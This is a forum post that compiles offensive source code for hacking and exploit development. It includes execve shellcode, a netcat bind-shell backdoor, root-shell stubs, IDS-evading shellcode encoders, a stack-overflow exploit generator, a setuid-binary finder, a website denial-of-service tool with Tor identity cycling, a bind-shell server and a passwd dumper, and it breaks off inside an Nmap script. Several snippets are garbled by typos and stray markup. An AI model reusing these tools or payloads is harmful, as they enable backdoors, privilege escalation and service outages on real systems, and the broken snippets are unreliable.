GreySec Forums

Exploit source-codes - Printable Version

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Exploit source-codes - Insider - 07-08-2020

Exploit source-codes

Credits: MINDZSEC

[Introduction]

This paper is about sources to make hacking done and different exploits by others. Here i have collected the most used sources to conduct a [Penetration Test][Hacking][Exploit Development][Forensics][Stack Smashing].

Here we go with sources.

```
Code:
/* Get stack pointer of the system(Unix/Linux) */
#iclude <stdio.h>
unsigned long get_sp(void) {
   _asm__("movl %esp,%eax");
void main() {
  printf("0x%x\n", get_sp());
;Universal Shellcode for Unix/Linux
section .text ; Text section global _start ; Define _start function
_start:
                       ; _start function
                       ; Zero out eax REGister
; Zero out ebx REGister
xor eax, eax
xor ebx, ebx
xor ecx, ecx
                          ; Zero out ecx REGister
                       ; Zero out edx using the sign bit from eax
cda
push ecx
                          ; Insert 4 byte null in stack
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
                       ; Insert /bin in the stack
                       ; Insert //sh in the stack
                       ; Put /bin//sh in stack
                        ; Put 4 Byte in stack
; Put ebx in stack
push ecx
push ebx
mov ecx, esp
                        ; Insert ebx address in ecx
                        ; Zero out eax register
xor eax, eax
mov al, 11
                         ; Insert __NR_execve 11 syscall
int 0x80
                         ; Syscall execute
[Netcat.asm]
Code:
;Author Flor Ian MINDZSEC
;Contact flor_iano@hotmail.com
;Program to make a netcat backdoor to inject as a shellcode
jmp short todo
shellcode:
xor eax, eax ; Zero out eax
xor ebx, ebx; Zero out ebx
xor ecx, ecx; Zero out ecx xor edx, edx; Zero out edx using the sign bit from eax
mov BYTE al, 0xa4; setresuid syscall 164 (0xa4)
int 0x80 ; syscall execute
pop esi ; esi contain the string in db
xor eax, eax ; Zero out eax
```

```
mov[esi + 7], al ; null terminate /bin/nc
mov[esi + 16], al ; null terminate -lvp90
mov[esi + 26], al ; null terminate -e/bin/sh mov[esi + 27], esi ; store address of /bin/nc in AAAA lea ebx, [esi + 8] ; load address of -lvp90 into ebx
mov[esi +31], ebx; store address of -lvp90 in BBB taken from ebx
lea ebx, [esi + 17] ; load address of -e/bin/sh into \, ebx
mov[esi + 35], ebx; store address of -e/bin/sh in CCCC taken from ebx
mov[esi + 39], eax ; Zero out DDDD
mov al, 11; 11 is execve syscakk number
mov ebx, esi; store address of /bin/nc
lea ecx, [esi + 27] ; load address of ptr to argv[] array
lea edx, [esi + 39] ; envp[] NULL
int 0x80 ; syscall execute
todo:
call shellcode
db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD'
; 0123456789012345678901234567890123456789012
Code:
#!/bin/bash
if [ $# -ne 1 ]
then
     printf "\n\tUsage: $0 filename\n\n"
     exit
fi
filename=`echo $1 | sed s/"\$"//`
nasm -f elf $filename.asm && ld $filename.o -o $filename
echo "Successfully compiled."
Code:
#Get Shellcode form an executable file
#!/bin/bash
if [ $# -ne 1 ]
then
     printf "\n\tUsage: $0 filename.o\n\n"
     exit
fi
filename=\ensuremath{\text{`echo}}\1 | sed s/"\$"//\ensuremath{\text{`}}
rm -f $filename.shellcode
objdump -d $filename | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' |
sed 's/ \frac{1}{g'} | sed 's/ \frac{1}{x/g'} | paste -d '' -s |
sed 's/^/"/' | sed 's/$/"/g'
echo
[S-Proc.c]
Code:
/* Test Shellcode */
* Generic program for testing shellcode byte arrays.
* Created by zillion and EVL
* Safemode.org !! Safemode.org !!
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
* Print message
static void
```

```
croak(const char *msg) {
    fprintf(stderr, "%s\n", msg);
    fflush(stderr);
}
* Educate user.
static void
usage(const char *prgnam) {
    fprintf(stderr, "\nExecute code : %s -e <file-containing-shellcode>\n", prgnam);
fprintf(stderr, "Convert code : %s -p <file-containing-shellcode> \n\n", prgnam);
    fflush(stderr);
    exit(1);
}
* Signal error and bail out.
static void
barf(const char *msg) {
    perror(msg);
    exit(1);
}
* Main code starts here
main(int argc, char **argv) {
                  *fp;
    void
                  *code;
    int
                 arg;
    int
                 i;
    int
                 1;
            m = 15; /* max # of bytes to print on one line */
                  flen; /* Note: assume files are < 2**32 bytes long ;-) */
    lona
    void
                   (*fptr)(void);
    if(argc < 3) usage(argv[0]);</pre>
    if(stat(argv[2], &sbuf)) barf("failed to stat file");
    flen = (long) sbuf.st_size;
    if(!(code = malloc(flen))) barf("failed to grab required memeory");
    if(!(fp = fopen(argv[2], "rb"))) barf("failed to open file");
if(fread(code, 1, flen, fp) != flen) barf("failed to slurp file");
    if(fclose(fp)) barf("failed to close file");
    while ((arg = getopt (argc, argv, "e:p:")) != -1){
      switch (arg){
       case 'e':
         croak("Calling code ...");
fptr = (void (*)(void)) code;
         (*fptr)();
         break;
       case 'p':
         printf("\n\nchar shellcode[] =\n");
         1 = m;
         for(i = 0; i < flen; ++i) {
           if(1 >= m) {
             if(i) printf("\"\n");
              printf( "\t\"");
              1 = 0;
           }
           ++1;
           printf("\\x%02x", ((unsigned char *)code)[i]);
         printf("\";\n\n\n");
         break;
      default :
         usage(argv[0]);
```

```
}
   return 0;
}
Code:
#include <stdlib.h>
#include <string.h>
  Shellcode encoder 0.1 by zillion (safemode.org)
  Wish list :
  - Make the decoder polymorphic
  - Add OS detection (see safemode)
  How to use it :
  Replace the shellcode with any shellcode, compile this file
  and execute it. The decoder is OS independent and can thus be
  used for any OS on Intel. The purpose:
  - Lower chance of IDS detection
  - Counter difficult characters
  - Confuse sans students ;-)
  The decoder :
  jmp short go
  next:
  pop
                 esi
  xor
                 ecx,ecx
                 cl,11
  mov
  change:
  sub byte
                 [esi + ecx - 1],11
                 cĪ, 1
  sub
  jnz change
  jmp short ok
  go:
  call next
  ok:
  <shellcode comes here>
*/
void execute(char * data);
int main() {
char decoder[] =
       "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\x80\xe9\x01"
       "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff";
char shellcode[] =
        "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x56\xb0\x3b\x50\xcd"
       char tmp;
char *end;
int size = 53;
int i;
int 1 = 15;
for(i=0;i<strlen(shellcode);i++) {</pre>
 shellcode[i] += size;
```

```
}
        decoder[6] += strlen(shellcode);
        decoder[11] += size;
end = (char *) malloc(strlen(shellcode) + strlen(decoder));
strcat(end, decoder);
strcat(end, shellcode);
        printf("\n\nchar shellcode[] = \n");
        for(i = 0; i < strlen(end); ++i) {</pre>
         if(1 >= 15) {
           if(i) printf("\"\n");
            printf( "\t\"");
            1 = 0:
         }
         ++1;
         printf("\\x%02x", ((unsigned char *)end)[i]);
execute(end);
free(end);
void execute(char *data) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)data;
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h> /* See NOTES */
#include <sys/wait.h>
#include <sys/socket.h>
    Shellcode testing program
       shtest [-s socked_fd_no] {-f file | $'\xeb\xfe' | '\xb8\x39\x05\x00\x03'}
    Usage example:
       $ shtest $'\xeb\xfe'
                                           # raw shellcode
       \  \ shtest '\xb8\x39\x05\x00\x00\xc3' # escaped shellcode
       $ shtest -f test.sc
                                            # shellcode from file
       $ shtest -f <(python gen_payload.py) # test generated payload</pre>
       $ shtest -s 5 -f test.sc
                                           # create socket at fd=5
           # Allows to test staged shellcodes
            # Flow is redirected like this: STDIN -> SOCKET -> STDOUT
    Compiling:
        gcc -Wall shtest.c -o shtest
   Author: hellman (hellman1908@gmail.com)
*/
char buf[4096];
int pid1, pid2;
int sock;
int ready;
void usage(char * err);
int main(int argc, char **argv);
```

```
void load_from_file(char *fname);
void copy_from_argument(char *arg);
void escape_error();
int create_sock();
void run reader(int);
void run_writer(int);
void set_ready(int sig);
void run_shellcode(void *sc_ptr);
void usage(char * err) {
   printf("
               Shellcode testing program\n\
   Usage:\n\
       shtest {-f file | $'\\xeb\\xfe' | '\\xb8\\x39\\x05\\x00\\x00\\xc3'}\n\
   Usage example:\n\
       $ shtest $'\\xeb\\xfe'
                                             # raw shellcode\n\
       \  \ shtest '\xb8\\x39\\x05\\x00\\x00\\xc3' # escaped shellcode\n\
       $ shtest -f test.sc
                                            # shellcode from file\n\
       $ shtest -s 5 -f test.sc
                                           # create socket at fd=5 (STDIN <- SOCKET -> STDOUT)\n\
           # Allows to test staged shellcodes\
           # Flow is redirected like this: STDIN -> SOCKET -> STDOUT\
   Compiling:\n\
        gcc -Wall shtest.c -o shtest\n\
   Author: hellman (hellman1908@gmail.com)\n");
   if (err) printf("\nerr: %s\n", err);
   exit(1);
}
int main(int argc, char **argv) {
   char * fname = NULL;
   int c;
   pid1 = pid2 = -1;
   sock = -1;
   while ((c = getopt(argc, argv, "hus:f:")) != -1) {
        switch (c) {
           case 'f':
               fname = optarg;
               break;
           case 's':
               sock = atoi(optarg);
               if (sock <= 2 || sock > 1024)
                   usage("bad descriptor number for sock");
               break;
           case 'h':
           case 'u':
               usage(NULL);
           default:
               usage("unknown argument");
        }
   }
   if (argc == 1)
        usage(NULL);
   if (optind < argc && fname)
        usage("can't load shellcode both from argument and file");
   if (!(optind < argc) && !fname)</pre>
        usage("please provide shellcode via either argument or file");
   if (optind < argc) {</pre>
       copy_from_argument(argv[optind]);
   }
   else {
       load_from_file(fname);
   }
```

```
//create socket if needed
    if (sock != -1) {
        int created_sock = create_sock(sock);
        printf("Created socket %d\n", created_sock);
   }
    run shellcode(buf);
    return 100;
}
void load_from_file(char *fname) {
   FILE * fd = fopen(fname, "r");
    if (!fd) {
        perror("fopen");
        exit(100);
    int c = fread(buf, 1, 4096, fd);
    printf("Read %d bytes from '%s'\n", c, fname);
    fclose(fd);
}
void copy_from_argument(char *arg) {
    //try to translate from escapes ( \xc3 )
    bzero(buf, sizeof(buf));
    strncpy(buf, arg, sizeof(buf));
    int i;
    char *p1 = buf;
    char *p2 = buf;
    char *end = p1 + strlen(p1);
    while (p1 < end) \{
        i = sscanf(p1, "\\x%02x", (unsigned int *)p2);
        if (i != 1) {
            if (p2 == p1) break;
            else escape_error();
        }
        p1 += 4;
        p2 += 1;
   }
}
void escape_error() {
    printf("Shellcode is incorrectly escaped!\n");
    exit(1);
}
int create_sock() {
    int fds[2];
    int sock2;
    int result = socketpair(AF_UNIX, SOCK_STREAM, 0, fds);
    if (result == -1) {
        perror("socket");
        exit(101);
   }
    if (sock == fds[0]) {
        sock2 = fds[1];
   else if (sock == fds[1]) {
        sock2 = fds[0];
   }
    else {
        dup2(fds[0], sock);
        close(fds[0]);
        sock2 = fds[1];
    ready = 0;
```

```
signal(SIGUSR1, set_ready);
    writer: stdin -> socket (when SC exits/fails, receives SIGCHLD and exits)
    \--> main: shellcode (when exits/fails, sends SIGCHLD to writer and closes socket)
        \--> reader: sock -> stdout (when SC exits/fails, socket is closed and reader exits)
    main saves pid1 = reader,
              pid2 = writer
    to send them SIGUSR1 right before running shellcode
    pid1 = fork();
    if (pid1 == 0) {
        close(sock);
        run_reader(sock2);
    pid2 = fork();
    if (pid2 > 0) { // parent - writer
        signal(SIGCHLD, exit);
        close(sock);
        run_writer(sock2);
    pid2 = getppid();
    close(sock2);
    return sock;
}
void run_reader(int fd) {
   char buf[4096];
    int n;
    while (!ready) {
        usleep(0.1);
    while (1) {
        n = read(fd, buf, sizeof(buf));
        if (n > 0) {
            printf("RECV %d bytes FROM SOCKET: ", n);
            fflush(stdout);
            write(1, buf, n);
        else {
            exit(0);
   }
}
void run_writer(int fd) {
    char buf[4096];
    int n;
    while (!ready) {
        usleep(0.1);
    while (1) {
        n = read(0, buf, sizeof(buf));
        if (n > 0) {
            printf("SENT %d bytes TO SOCKET\n", n);
            write(fd, buf, n);
        }
        else {
            shutdown(fd, SHUT_WR);
            close(fd);
            wait(&n);
            exit(0);
        }
   }
}
```

```
void set_ready(int sig) {
    ready = 1;
}
void run_shellcode(void *sc_ptr) {
    int ret = 0, status = 0;
    int (*ptr)();
    ptr = sc_ptr;
    mprotect((void *) ((unsigned int)ptr & 0xfffff000), 4096 * 2, 7);
    void *esp, *ebp;
void *edi, *esi;
    asm ("movl %%esp, %0;"
        "movl %%ebp, %1;"
:"=r"(esp), "=r"(ebp));
    asm ("movl %%esi, %0;"
         "movl %%edi, %1;"
:"=r"(esi), "=r"(edi));
    printf("Shellcode at %p\n", ptr);
    printf("Registers before call:\n");
    printf(" esp: %p, ebp: %p\n", esp, ebp);
printf(" esi: %p, edi: %p\n", esi, edi);
    printf("----\n");
    if (pid1 > 0) kill(pid1, SIGUSR1);
    if (pid2 > 0) kill(pid2, SIGUSR1);
    ret = (*ptr)();
    if (sock != -1)
        close(sock);
    wait(&status);
    printf("----\n");
    printf("Shellcode returned %d\n", ret);
    exit(0);
}
Code:
#include <stdio.h> //IO header
#include <string.h> //Functions on favor of strings
#include <stdlib.h> //exit() function
char shellcode[] = ""; /* Global array */
int main(int argc, char **argv)
int (*ret)(); /* ret is a func pointer*/
ret = (int(*)())shellcode; /* ret points to our shellcode */
(int)(*ret)(); /* shellcode is type caste as a function */
exit(0); /* exit() */
/* Sys mman shellcode tester */
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int (*shellcodetotest)();
char shellcode[] = ""; /* Put your shellcode here */
int main(int argc, char **argv)
```

```
void *ptr = mmap(0, 150, PROT_EXEC | PROT_WRITE| PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if(ptr == MAP_FAILED)
perror("mmap");
exit(-1);
memcpy(ptr, shellcode, sizeof(shellcode));
shellcodetotest = ptr;
shellcodetotest();
return 0;
}
Code:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main()
setresuid(0,0,0); /* Set res UID 0 0 0 to all program */
char *envp[] = { NULL };
char *argv[] = {"/bin/nc", "-lvp9999", "-e/bin/sh", NULL};
int ret = execve("/bin/nc", argv, envp); /* exec the command */
Code:
;Taken from Hacking the Art of Exploitation 2nd
;ASM Program to get setresuid shell
BITS 32
; setresuid(uid_t ruid, uid_t euid, uid_t suid);
  xor eax, eax ; zero out eax
 xor ebx, ebx ; zero out ebx
xor ecx, ecx ; zero out ecx
  xor edx, edx ; zero out edx
  mov al, 0xa4; 164 (0xa4) for syscall #164
  int 0x80; setresuid(0, 0, 0) restore all root privs
; execve(const char *filename, char *const argv[], char *const envp[])
 xor eax, eax; make sure eax is zeroed again mov al, 11; syscall #11
  push ecx; push some nulls for string termination
 push 0x68732f2f; push "//sh" to the stack push 0x6e69622f; push "/bin/" to the stack
  mov ebx, esp; put the address of "/bin//sh" into ebx, via esp
  push ecx; push 32-bit null terminator for envp
  mov edx, esp; this is an empty array for envp
  push ebx; push string addr to stack above null terminator
  mov ecx, esp; this is the argv array with string ptr
  int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
        char *ptr;
        if(argc < 2) {
                 printf("Usage: %s <environment variable> \n", argv[0]);
                 exit(0);
        ptr = getenv(argv[1]);
        printf("%s will be at %p\n", argv[1], ptr);
}
Code:
/* 0x333xes => stack overflow exploit generator
```

```
simple stack overflow exploit generator, that permits
  you to generate a -working- exploit source code. to make
  your exploit correctly works, 'xes' try to automatically
  find the correct ret address
  coded by cowboy
  ~ www.0x333.org ~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#define VERSION
                     "0 3"
#define EXPLOIT
                     "exploit.c"
#define TEST
                                   /* file created with test shellcode */
                      "xes"
                     0xbffff300 /* address we start from to search for RET */
#define XES_std
                     0xbfffe0ff /* that is not really true ... but by testing
#define XES env
                                    * i found some ENV located there ...
#define MAX_LENGHT
                   10240 /* max buffer-lenght to exploit */
                     1337 /* max ret-buffer lenght */
#define MAX_EVIL
                           /* max shellcodes supported */
#define MAX
#define fatal(x...) { fprintf (stderr, ##x); exit(-333); }
                    0xbffffff - x
#define offset(x)
typedef struct {
       char * sh_name;
       char * sh_type;
} sharkode;
sharkode shark[] = {
  {
      " \"touch xes\" shellcode [-test only-]",
      "unsigned char test[] =\n'"
      "\"\\xeb\\x30\\x5e\\x89\\x76\\x16\\x31\\xc0\\x88\"\n\t"
      "\"\x46\\x08\\x88\\x46\\x0b\\x88\\x46\\x15\\x89\"\n\t"
      "\"\x46\\x22\\xb0\\x0b\\x8d\\x5e\\x09\\x89\\x5e\"\n\t"
      "\"\x1a\\x8d\\x5e\\x0c\\x89\\x5e\\x1e\\x89\\xf3\"\n\t"
      "\"\x8d\\x4e\\x16\\x8d\\x56\\x22\\xcd\\x80\\x31\"\n\t"
      "\"\\xc0\\xb0\\x01\\xcd\\x80\\xe8\\xcb\\xff\\xff\\"\n\t"
      "\"\\xff\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\"\n\t"
      "\"\\x20\\x2d\\x63\\x20\\x74\\x6f\\x75\\x63\\x68\"\n\t"
      "\"\\x20\\x78\\x65\\x73\";"
 },
  {
      " execve(/bin/sh); [linux]",
      "unsigned char sharkode[] =\n\t"
      "\"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\"\n\t"
      "\"\x2f\\x62\\x69\\x89\\x63\\x99\\x52\\x53\"\n\t"
      "\"\x89\\xe1\\xb0\\x0b\\xcd\\x80\";"
 },
  {
      " execve(/bin/sh); [*BSD]",
      "unsigned char sharkode[] =\n"
      "\"\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\"\n\t"
      "\"\x2f\\x2f\\x62\\x69\\x89\\x63\\x54\\x53\"\n\t"
      "\"\\x50\\xb0\\x3b\\xcd\\x80\";"
 },
```

```
{
     " setreuid(0,0) shellcode",
     "unsigned char sharkode[] =\n\t"
     "\"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb0\\x46\\xcd\"\n\t"
     "\"\\x80\\x31\\xc0\\x50\\x68\\x2f\\x73\\x68\"\n\t"
     "\"\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x8d\\x54\"\n\t"
     "\"\\x24\\x08\\x50\\x53\\x8d\\x0c\\x24\\xb0\\x0b\"\n\t"
     "\"\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80\";"
 },
 { NULL, NULL },
int off = 0;
// prototypes
int main (int, char * []);
void usage (char *);
void shak_list (void);
unsigned long xes (int); /* find correct ret address */
void
usage (char * prg)
 exit (-333);
}
void
shak_list (void)
 int list;
 fprintf (stdout, "\n [~] Shellcode Types :\n");
 fprintf (stdout, " ----- \n");
 for (list = 0; shark[list].sh_name != NULL; ++list)
     fprintf (stdout, " [%d] %s\n", list, shark[list].sh_name);
 fprintf (stdout, "\n");
 exit (-333);
unsigned long
xes (int hard)
 int ret;
 char wuffer[33];
 unsigned long xes;
FILE * cya, * fd;
 if (off)
     xes=XES_env;
 else
     xes=XES_std;
 for (ret=1; ret < (offset(xes)); ret++, xes++)</pre>
     bzero (wuffer, 33);
     sprintf (wuffer, "./exploit 0x%x", xes);
```

```
fprintf (stdout, " * testing 0x%x\n", xes);
      if ((cya=popen (wuffer, "r")) == NULL)
        fatal (" [-] Error in testing exploit ...\n\n");
      if ((fd=fopen(TEST, "r")))
      {
        pclose(cya);
        fclose(fd);
        return (xes+ 0xdf);
      pclose(cya);
 }
 if(!hard)
      fprintf (stderr, " [~] ret address NOT found ..\n [~] we suppose :\n\n" \,
[*]wrong buffer align\n [~] try to solve this problem ...\n");
 return (0x333);
}
int
main (int argc, char * argv[])
 int c, s=0, len=0, out=MAX_EVIL, step=0, align=0, hard=0;
 char exe[100], *bin=NULL, *w=NULL, *env=NULL;
 unsigned long ret_add;
 FILE * fd;
 while(( c = getopt (argc, argv, "xhb:e:w:s:l:o:a:")) != EOF)
      switch(c)
      {
        case 'b' : bin = optarg; break;
        case 'e':
            env = optarg;
            off=1;
            break;
        case 'w' : w = optarg; break;
        case 's' : /* shellcode types */
            s = atoi(optarg);
            if ((s<0) || (s>MAX-1))
              usage (argv[0]);
            break;
        case 'x' : shak_list();
        case '1' :
            len = atoi(optarg);
            if (len>MAX_LENGHT)
              fatal (" [-] explotable-buffer is too long\n");
            break;
        case 'o':
            out = atoi(optarg);
            if (out>MAX_EVIL)
              fatal (" [-] ret-buffer too long\n");
            break;
        case 'a' : align = atoi(optarg); break;
        case 'h' : usage(argv[0]);
default : usage(argv[0]);
 }
 if ((!bin) || (!len) || ((env) && (w)))
      usage(argv[0]);
```

```
fprintf (stdout, "\n [~] 0x333xes => stack flow exploit generator [~]\n");
 fprintf (stdout, " [~]
                             coded by c0wboy ~ www.0x333.org
 fprintf (stdout, "
[*]creating source code ...\n");
do sploit : /* when ret is found, we re-write the exploit */
 system ("rm -rf xes");
 if((fd = fopen (EXPLOIT, "w")) == NULL)
     fatal (" [-] Error in creating %s\n", EXPLOIT);
  fprintf (fd, "/* Generated with 0x333xes \sim coded by c0wboy\n *");
 fprintf (fd, "\n * ~ www.0x333.org ~\n *\n */ ");
 /* setting header */
 fprintf (fd, "\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n");
 fprintf (fd, "#include <string.h>\n\n#define BIN\t\"%s\"\n#define NOP\t0x90\n", bin);
 fprintf (fd, "#define BUFFER\t%i\n", len);
 if (!env)
     fprintf (fd, "#define OUTSIDE\t%i\n", out);
 if (hard)
     align = 1;
 if (!align)
     fprintf (fd, "#define ALIGN\t0\n");
     fprintf (fd, "#define ALIGN\t%d\n", align);
 if (step)
     fprintf (fd, "#define RET\t0x%x\n", ret_add);
  /* setting shellcode */
 if (step)
     fprintf (fd, "\n\n%s\n", shark[s].sh_type);
 else
     fprintf (fd, "\n\n%s\n", shark[0].sh_type); /* test-shellcode */
  /* setting main() */
 if (step)
     fprintf (fd, "int\nmain ()\n");
 else
     fprintf (fd, "int\nmain (int argc, char * argv[])\n");
 if (env)
     fprintf (fd, "{\n int x;\n char buf[BUFFER], *bufz;\n");
 else
     fprintf (fd, "{\n int x;\n char buf[BUFFER], out[OUTSIDE], *bufz;\n");
 if (step)
     fprintf (fd, " unsigned long ret_add = RET, *add_ptr ;\n\n");
 else
     fprintf (fd, " unsigned long ret_add, *add_ptr ;\n\n"
                  " if (argc != 2)\n
                                          exit (-333);\n\n"
                  " ret\_add = strtoul (argv[1], &argv[1], 16);\n\n");
 fprintf (fd, " bufz = buf + ALIGN; \n add_ptr = (long *)bufz; \n"
               " for (x=0; x<BUFFER-1; x+=4)\n"
                       *(add_ptr++)=ret_add;\n\n");
 if (env)
 {
     if (step)
       fprintf (fd, " /* nop + shellcode */\n memset ((char *)buf, NOP, 333 + "
                      "strlen (sharkode));\n memcpy ((char *)buf+333, sharkode, "
                      "strlen (sharkode));\n\n");
     else
     {
```

```
fprintf (fd, " /* nop + shellcode */\n memset ((char *)buf, NOP, 333 + "
                     "strlen (test));\n memcpy ((char *)buf+333, test, strlen "
                      "(test));\n\n");
 }
 else /* standard exploiting */
     fprintf (fd, " /* nop + shellcode */\n memset ((char *)out, NOP, OUTSIDE);\n");
     if (step)
       fprintf (fd, " memcpy ((char *)out + 333, sharkode, strlen(sharkode));\n\n");
     else
       fprintf (fd, " memcpy ((char *)out + 333, test, strlen(test));\n\n");
     fprintf (fd, " memcpy((char *)out, \"OUT=\", 4);\n putenv(out);\n\");
 }
 /* environment bugged ? */
 if (env)
     if(step)
       fprintf (fd, "\n");
     fprintf (fd, " setenv (\"%s\", buf, 333);\n", env);
 }
 if (step)
     fprintf (fd, "\n fprintf (stdout, \" Local exploit for %s\");\n", bin);
  /* switch ? */
 if (w)
     fprintf (fd, " execl (BIN, BIN, \"%s\", buf, NULL);\n", w);
 {
     if (env)
       fprintf (fd, " execl (BIN, BIN, NULL);\n");
       fprintf (fd, " execl (BIN, BIN, buf, NULL);\n");
 fprintf (fd, "\n return 0;\n\\n");
 fclose (fd);
 /* compile & test exploit */
 if (!step)
     sprintf (exe, "gcc %s -o exploit", EXPLOIT);
     system (exe);
     fprintf (stdout, "
[*]exploit created\n");
     fprintf (stdout, "
[*]now find correct ret add\n");
     if ((ret_add = xes (hard)) == 0x333)
     {
       if (hard)
        {
           fprintf (fd, "[-] exploit doesn't work ...\n"
                          [**] maybe binary has not -stack- overflow problem [**]\n"
                        " [-] other problems can be detected by reading source code ...\n"
                        " [-] sorry\n");
         exit (-333);
       }
       else
           hard=1;
       goto do_sploit;
     }
     else
        step=1;
       goto do_sploit;
```

```
}
 }
 system ("rm -rf exploit xes");
 fprintf (stdout, "\n
[*]your working exploit for %s is ready !\n\n", bin);
 return 0;
Code:
#Find setuid programs
#!/bin/sh
tempfile="/tmp/$0.$$"
trap "rm $tempfile" 0
find / (-type f -a -user root -a -perm -4001 \) -print <math>> tempfile
for file in `cat $tempfile`; do
strings -a file \mid awk '/^gets^{\strcpy}/strcat^{\strcpy}/
{ printf ("%-10s \t %-50s \n"), $1, file }' "file=$file" -
done
Code:
/* DoS tool to take down website made by Jester */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int make_socket(char *host, char *port) {
struct addrinfo hints, *servinfo, *p;
int sock, r;
// fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
 exit(0);
for(p = servinfo; p != NULL; p = p->ai_next) {
 if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
 continue:
 if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
 close(sock);
 continue;
 break;
if(p == NULL) {
 if(servinfo)
 freeaddrinfo(servinfo);
 fprintf(stderr, "No connection could be made\n");
 exit(0);
if(servinfo)
 freeaddrinfo(servinfo);
fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
return sock;
}
```

```
void broke(int s) {
// do nothing
#define CONNECTIONS 8
#define THREADS 48
void attack(char *host, char *port, int id) {
int sockets[CONNECTIONS];
int x, g=1, r;
for(x=0; x!= CONNECTIONS; x++)
  sockets[x]=0;
signal(SIGPIPE, &broke);
while(1) {
  for(x=0; x != CONNECTIONS; x++) {
  if(sockets[x] == 0)
   sockets[x] = make_socket(host, port);
  r=write(sockets[x], "\0", 1);
  if(r == -1) {
    close(sockets[x]);
    sockets[x] = make_socket(host, port);
    fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  fprintf(stderr, "[%i: Voly Sent]\n", id);
  fprintf(stderr, "[%i: Voly Sent]\n", id);
 usleep(300000);
void cycle_identity() {
int r;
int socket = make_socket("localhost", "9050");
write(socket, "AUTHENTICATE \"\"\n", 16);
while(1) {
  r=write(socket, "signal NEWNYM\n\x00", 16);
  fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  usleep(300000);
int main(int argc, char **argv) {
int x;
if(argc !=3)
  cycle_identity();
for(x=0; x != THREADS; x++) {
  if(fork())
  attack(argv[1], argv[2], x);
  usleep(200000);
}
getc(stdin);
return 0;
}
[Blackhole.c]
Code:
/* Edited and fixed by me */
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <unistd.h>
#define SH "/bin/sh"
#define LISTN 1
```

```
int main(int argc, char **argv)
char *fst = "\nConnected!\n\n";
char *sec = "Blackhole edited and fixed By MIND Z SEC(flor iano@hotmail.com)\n";
\label{eq:char} \mbox{char *thr = "If this is telnet enter ; for every command \n\n";}
int outsock, insock, sz;
struct sockaddr_in home;
struct sockaddr_in away;
home.sin_family=AF_INET;
int P;
printf("\nEnter your desired port to listen :: ");
scanf("%d", &P);
printf("\nNow connect to this machine with nc or telnet \n");
printf("\nFor nc->nc IP %d\n", P);
printf("\nFor telnet->telnet IP %d\n\n", P);
home.sin_port=htons(P);
home.sin_addr.s_addr=INADDR_ANY;
bzero(&(home.sin_zero),8);
if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)</pre>
  exit(printf("\nSocket error\n"));
if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0))</pre>
  exit(printf("\nBind error\n"));
if((listen(outsock,LISTN))<0)</pre>
  exit(printf("\nListen error\n"));
sz=sizeof(struct sockaddr_in);
for(;;)
  {
  if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
    exit(printf("\nAccept error"));
  if(fork() !=0)
    {
    send(insock, fst, strlen(fst), 0);
    send(insock, sec, strlen(sec), 0);
    send(insock, thr, strlen(thr), 0);
    dup2(insock,0);
    dup2(insock,1);
    dup2(insock, 2);
    execl(SH,SH,(char *)0);
    close(insock);
    exit(0);
  close(insock);
  }
}
Code:
/* Crawl the /etc/passwd file */
#include <pwd.h>
int main()
struct passwd *p;
while(
p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name,p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
Code:
description = [[Searches for exploits in the exploitdb on Backtrack.
This archive can also be found at http://www.exploitdb.com]]
author = "L10n"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"safe", "vuln"}
require("stdnse")
```

```
portrule = function(host, port)
   return port state == "open"
action = function(host, port)
    local n = port.version.product
    local exploits = ""
